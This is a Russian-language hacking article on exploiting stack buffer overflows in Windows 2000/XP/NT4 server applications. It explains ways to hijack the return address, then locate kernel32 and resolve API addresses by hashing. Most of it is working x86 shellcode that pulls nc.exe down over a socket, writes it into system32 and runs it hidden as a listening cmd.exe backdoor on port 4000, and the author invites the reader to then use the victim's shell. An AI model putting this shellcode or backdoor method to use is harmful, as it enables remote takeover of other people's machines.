[ Немного о эксплоитах ]
Пролистывая книгу "Секреты Windows 2000 хакеров", я наткнулся на интересное высказывание, цитирую: "... Редко бывает, что
переполнение буфера в Windows можно применять на практике ...". Мда-а-а, глядя на данные всего лишь SecurityLab.Ru
невольно встает вопрос о причинах благосостояния авторов, имеющих столь интересный послужной список, приведенный вначале
вышеупомянутой книги...
Ну да бог с ними, с этими авторами, можт это переводчики не ахти как перевели... Содержание моей статьи не ново, скажу
сразу и, думаю, ничего нового вы для себя не откроете её прочитав, особенно если вы неплохо знакомы с ассемблером и
принципами переполнения стека ;).
Давайте представим, что мы имеем в наличии следующее: удалённая ситема win2k/XP/NT4, уязвимое серверное приложение с
возможностью переполнения стека через strcpy() иль sprintf() и наше желание этой системой поуправлять от имени этого
приложения.
Получение управления
Для начала рассмотрим несколько способов получения упревления.
Итак, у нас имеется: 2Гб адресного пространства, добрая часть которого ничем не занята; наш код в стеке уязвимого
процесса и инструкцию "ret", которая даст коду возможность исполняться. Какой же адрес скормить этой команде? Самым
простым и часто используемым является подстановка адреса одной из инструкций jmp esp/call esp, расположенных в какой-либо
системной библиотеке. Однако, такой способ привязывает наш эксплоит к конкретной версии операционной системы с её
сервиспаками, т.к. адреса загрузки dll-ок разняться от билда к билду, что не есть хорошо, но ничего не поделаешь...
Иногда бывает возможным приспособить эксплоит к конкретной версии самого приложения, например, когда последнее использует
свои dll-ки. Тогда этот эксплоит будет работать в любой системе, но под определённую версию программы.
Стоит отметить, что инструкции "ret" можно скормить и адрес команд jmp REG/call REG, если указанный регистр содержит
подходящее значение.
Часто при входе в функцию последняя устанавливает SEH-обработчик и сей факт иногда(а точнее очень редко) можно
использовать для получения управления без jmp/call, а в качестве адреса возврата указать заведомо кривое значение,
передача управления по которому вызовет исключение, передав управление на наш код.
А теперь давайте представим, что нам недоступны jmp/call (интересно, часто ли такое бывает ;)? ), до SEH-обработчика
тоже не дотянуться. Что ж тогда? Можно в качестве адреса возврата подставить непосредственное значение смещения нашего
кода, но, наверное, это самое худшее решение из всех возможных, т.к. в этом случае появляется куча проблем. Во-первых,
никто не гарантирует, что размещение стека не будет иным у уязвимого потока, да и области памяти, отводимые под стек,
отличаются в разных версиях операционных систем. Да ещё мы получаем досадное ограничение на размер самого кода, так как
адрес возврата наверняка будет содержать ноль (например 0012FCXXh) до которого и отработает функция strcpy() иль
sprintf(). Однако, тут можно воспользоваться тем фактом, что если содержимое буфера с нашим кодом никем не менялось, то
можно передать управление в нужное место этого буфера, то есть:
int a = recv(...,&buffer[0],1024,...);
SomeFunction(&buffer[0])
int SomeFunction(char* p) {
char dst[100];
...
strcpy(dst,p);
...
} // <<< --- здесь мы получим управление и, возможно, буфер,
// указатель на который получила функция, не изменён или
// изменён незначительно...
Также можно поискать в памяти фрагмент кода похожий на:
...
add eax,???
call [eax+16]
...
и если регистр на момент ret'a содержит необходимое значение, то смело прописываем сие смещение в качестве операнда
инструкции "ret".
Итак, посмотрим, какие варианты имеем:
1. jmp esp/call esp
2. jmp REG/call REG
3. 3. SEH-обработчик
4. 4. непосредственное смещение
5. 5. смещения подходящих фрагментов
Получение адресов API-функций
Управление получили, теперь необходимо узнать адреса API-функций, так как без последних толку от кода, мягко говоря,
маловато ;)). Рассмотрим 3 метода получения адреса загрузки kernel32.dll, по РЕ-заголовку которой, определим точки входа
в нужные нам функции.
1.From LSD Team
Идея до боли проста - по РЕВ'у, в котором содержится список всех загруженных для процесса модулей, дотягиваемся до адреса
загрузки kernel32
mov eax, fs:[30h] ; получим указатель на РЕВ
mov eax, [eax+0Ch] ; получим указатель на PEB_LDR_DATA
mov esi, [eax+1Ch] ; получим указатель на InitializationOrderModuleList
lodsd
mov eax, [eax+08h] ; eax -> VA kernel32.dll
Стоит отметить, что здесь используются недокументированные поля структуры РЕВ, однако размер этого кода, согласитесь,
радует.
2. From Billy Belcebu
Идея заключается в следующем: берём конкретный адрес и начинаем сканировать адресное пространство на наличие РЕ-заголовка
kernel32.dll:
__1:
cmp byte ptr [ebp+K32_Limit],00h
jz WeFailed
cmp word ptr [esi],"ZM"
jz CheckPE
__2:
sub esi,10000h ; к следующему региону
dec byte ptr [ebp+K32_Limit]
jmp __1
Чтож, метод не плох, но прожорлив до памяти, так как сюда нужно добавить SEH-обработчик, чтобы смело сканировать память,
и проверку CheckPE которая отплёвывает всё, кроме kernel32.
3. From Sars
Чтоб не пересказывать, просто процитирую:
"
next_handler dd ? ; указатель на следующую такую же запись
seh_handler dd ? ; адрес обработчика исключения
Последний указатель на следующую запись имеет маркировку 0FFFFFFFFh, а адрес последнего обработчика находится где-то в
kernel. В общем, глядите в отладчик, мы нашли адрес последнего обработчика, а значит и адрес внутри kernel. Дальше
выравним полученный адрес на 64 Кбайта, т.к. kernel грузится по адресу кратному этому значению. Теперь нам осталось
найти Image Base пресловутого и небезызвестного кернела. Делается это путем поиска сигнатуры MZ и проверки на PE формат...
_SearchMZ:
cmp word ptr [eax],5A4Dh
je _CheckMZ
sub eax,10000h
jmp _SearchMZ
_CheckMZ:
mov edx,[eax+3ch]
cmp word ptr [eax+edx],4550h
jne _Exit
Так, теперь сравним слово по полученному адресу с 'MZ', если не совпало, то отнимем 64Кбайта, и повторим, если совпало,
то проверим это заголовок PE или нет. Если да, то можно утверждать, что Image Base Kernel найден, если нет, то выйдем.
Существует ли вероятность не найти Kernel? При использовании seh, навряд ли, по крайней мере, я этого не наблюдал при
тестировании. В случае, когда адрес внутри Kernel берется со стека, заводится счетчик, чтоб не вылезти черт знает куда,
но это описано в др. статьях. Для перестраховки можно завести свой обработчик исключений."
Всё, адрес загрузки kernel'а имеем, теперь определим точки входа API-функций, воспользовавшись методом от LSD Team с
использованием простенькой и очень короткой функции хеширования (в отличие от crc32 у Billy Belcebu):
; воспользуемся услугами VC++ 6.0, чтобы получить
; ассемблерный листинг си-кода и подредактируем
; его в нужных местах...
; предварительно вычисленные значения хешей
DD 99C95590h ; GetProcAddress 1
DD 195D7906h ; ResumeThread 2
DD 1AF359D3h ; SetThreadContext 3
DD 0A6A6793Dh ; WriteProcessMemory 4
DD 0E9D81A3Bh ; VirtualAllocEx 5
DD 1AF2F9D3h ; GetThreadContext 6
DD 0B87742CBh ; CreateProcessA 7
DD 331ADDDCh ; LoadLibraryA 8
DD 0CFB0E506h ; CreateFileA 9
DD 2E750C90h ; WriteFile 10
DD 0D7629096h ; CloseHandle 11
DD 99046D19h ; WinExec 12
DD 0EC468F87h ; ExitProcess 13
DD 0EC6D8B57h ; OpenProcess 14
; unsigned int *adr;
; unsigned char **sym;
; unsigned short *ord;
; adr = (unsigned int *)RVA(ied->AddressOfFunctions);
; sym = (unsigned char **)RVA(ied->AddressOfNames);
; ord = (unsigned short *)RVA(ied->AddressOfNameOrdinals);
mov ecx, DWORD PTR [eax+28]
mov edi, DWORD PTR [eax+36]
add ecx, esi
add edi, esi
mov DWORD PTR _adr$[ebp], ecx
mov ecx, DWORD PTR [eax+32]
add ecx, esi
push 14 ; кол-во функций
; for(;;)
xor ebx, ebx
mov DWORD PTR -12+[ebp], ecx
$L42780:
; unsigned int h = 0;
; unsigned char *c = RVA(sym[idx]);
mov edx, DWORD PTR -12+[ebp]
mov ecx, esi
xor eax, eax
add ecx, DWORD PTR [edx]
$L42862:
; while(*c) h = ((h<<5)|(h>>27)) + *c++;
; Как заверяют авторы, эта функция не дала
; ни одной коллизии на 50 000 именах функций,
; чего нам с лихвой хватит...
cmp BYTE PTR [ecx], bl
je SHORT $L42787
mov edx, eax
shr edx, 27 ; 0000001bH
shl eax, 5
or edx, eax
movzx eax, BYTE PTR [ecx]
add eax, edx
inc ecx
jmp SHORT $L42862
$L42787:
; for (int j=0; j < countfunc; j++) {
push esi
mov esi, DWORD PTR [ebp+4]
mov DWORD PTR -4+[ebp], esi
pop esi
mov DWORD PTR _j$42788[ebp], ebx
$L42789:
; if(mass[j] == h) {
mov edx, DWORD PTR -4+[ebp]
cmp DWORD PTR [edx], eax
je SHORT $L42855
add DWORD PTR -4+[ebp], 4
inc DWORD PTR _j$42788[ebp]
cmp DWORD PTR _j$42788[ebp], 14
jnz SHORT $L42789
jmp SHORT $L42791
$L42855:
; mass[j] = RVA(adr[ord[idx]]);
push edx
movzx eax, WORD PTR [edi]
mov edx, DWORD PTR _adr$[ebp]
mov eax, DWORD PTR [edx+eax*4]
add eax, esi
pop edx
mov DWORD PTR [edx], eax
dec DWORD PTR [esp]
jz $L42856
$L42791:
add DWORD PTR -12+[ebp], 4
add edi,2
jmp SHORT $L42780
$L42856:
Как видите, простор для оптимизации есть...
Удалённое управление
После того, как получены адреса необходимых функций, нам нужно как-то организовать удалённое управление системой. Сие
можно сделать разными способами, мы же рассмотрим самый простой - копирование утилиты, которая сделает всю работу за нас:
Dllname DB 'ws2_32.dll',0
szncexe DB 'С:\winnt\system32\nc.exe',0
szcmdline DB 'nc.exe -L -n -p 4000 cmd.exe',0
; HINSTANCE hBase = LoadLibrary("ws2_32.dll");
mov eax, DWORD PTR [ebp] ; ebp - > ImageBase нашего кода
add eax, str01 ; + смещение строки
push eax ; offset "ws2_32.dll"
mov eax, DWORD PTR [ebp+4]
call DWORD PTR [eax+15*4] ; call LoadLibrary
mov edi, eax
xor esi, esi
; mass[idx] = (int)GetProcAddress(hBase, name[i++]);
$L42797:
mov ebx, DWORD PTR [ebp]
add ebx, om2 ; прибавим смещение таблицы,
; в которой содержаться указатели
; на имена функций
mov eax, DWORD PTR [ebx+esi]
add eax, DWORD PTR [ebp]
push eax
push edi
mov eax, DWORD PTR [EBP+4]
call DWORD PTR [eax+8*4]
mov DWORD PTR [ebx+esi], eax ; Заменим соответствующий указатель на имя
; адресом этой функции
add esi, 4
cmp esi, 32 ; для всех 8-ми функций определили адреса?
jl SHORT $L42797
; WSAStartup(0x0202, &wd);
lea eax, DWORD PTR _wd$[ebp]
push eax
push 514 ; 00000202H
mov eax, DWORD PTR [ebp+4]
call DWORD PTR [eax+5*4] ; call WSAStartup
; SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
push 0
push 1
push 2
mov eax, DWORD PTR [ebp+4]
call DWORD PTR [eax+6*4] ; call socket
; sockaddr_in local_addr;
; #define port 7777
; #define SizeOfProgram 58*1024
; local_addr.sin_family = AF_INET;
; local_addr.sin_port = htons(port);
push 7777 ; 00001e61H
mov DWORD PTR _sock$[ebp], eax
mov WORD PTR _local_addr$[ebp], 2
mov eax, DWORD PTR [ebp+4]
call DWORD PTR [eax+7*4] ; call htons
mov WORD PTR _local_addr$[ebp+2], ax
; local_addr.sin_addr.s_addr = 0;
; bind(sock, (sockaddr *) &local_addr, sizeof(local_addr));
lea eax, DWORD PTR _local_addr$[ebp]
push 16 ; 00000010H
push eax
push DWORD PTR _sock$[ebp]
mov DWORD PTR _local_addr$[ebp+4], 0
mov eax, DWORD PTR [ebp+4]
call DWORD PTR [eax+0*4] ; bind
; listen(sock, 0x100);
push 1 ; 01H
push DWORD PTR _sock$[ebp]
mov eax, DWORD PTR [ebp+4]
call DWORD PTR [eax+1*4] ; listen
; sockaddr_in client_addr;
; int client_addr_size = sizeof(client_addr);
; accept(sock, (sockaddr *) &client_addr, &client_addr_size);
lea eax, DWORD PTR _client_addr_size$[ebp]
mov DWORD PTR _client_addr_size$[ebp], 16 ; 00000010H
push eax
lea eax, DWORD PTR _client_addr$[ebp]
push eax
push DWORD PTR _sock$[ebp]
mov eax, DWORD PTR [ebp+4]
call DWORD PTR [eax+2*4] ; accept
; Выделим память под буфер, в который будем помещать кусочки nc.exe...
; char *tempbuff=(char*)VirtualAllocEx(0,0,SizeOfProgram,MEM_COMMIT, PAGE_READWRITE);
xor ebx,ebx
push 4
push esi
mov esi, 59392 ; 0000e800H
push esi
push ebx
push ebx ;
mov eax, DWORD PTR [ebp+4]
call DWORD PTR [eax+12*4] ; call VirtualAllocEx
mov DWORD PTR _tempbuff$[ebp], eax
; for(int j = 0; j < SizeOfProgram; j+=1024)
mov DWORD PTR _j$[ebp], ebx
mov edi, 1024 ; 00000400H
$L42819:
; recv(sock, &tempbuff[j], 1024, 0);
mov eax, DWORD PTR _j$[ebp]
mov ecx, DWORD PTR _tempbuff$[ebp]
push ebx
add eax, ecx
push edi
push eax
push DWORD PTR _sock$[ebp]
mov eax, DWORD PTR [ebp+4]
call DWORD PTR [eax+3*4] ; call recv
add DWORD PTR _j$[ebp], edi
cmp DWORD PTR _j$[ebp], esi
jl SHORT $L42819
; CreateFile("С:\winnt\system32\nc.exe", FILE_GENERIC_WRITE, FILE_SHARE_READ,
; NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
push ebx
push 128 ; 00000080H
push 1
push ebx
push 1
push 1179926 ; 00120116H
push 0
mov eax, DWORD PTR [ebp+4]
call DWORD PTR [eax+16*4] ;CreateFileA
; WriteFile(hFile, tempbuff, SizeOfProgram, NULL, NULL);
push ebx
push ebx
push esi
mov edi, eax
push DWORD PTR _tempbuff$[ebp]
push edi
mov eax, DWORD PTR [ebp+4]
call DWORD PTR [eax+17*4] ; WriteFile
; CloseHandle(hFile);
push edi
mov eax, DWORD PTR [ebp+4]
call DWORD PTR [eax+18*4] ; CloseHandle
; WinExec("nc.exe -L -n -p 4000 cmd.exe", SW_HIDE);
push ebx
push 0
mov eax, DWORD PTR [ebp+4]
call DWORD PTR [eax+19*4] ; WinExec
; ExitProcess(0);
После этого нужно запустить программу, которая на 4000 порт перешлёт утилиту nc.exe пакетами по 1024 байт...
После выполнения функции WinExec("nc.exe -L -n -p 4000 cmd.exe", SW_HIDE) можно коннектиться к удалённой системе на 4000
порт и наслаждаться общением с её командным интерпретатором ;)).
(c) nester7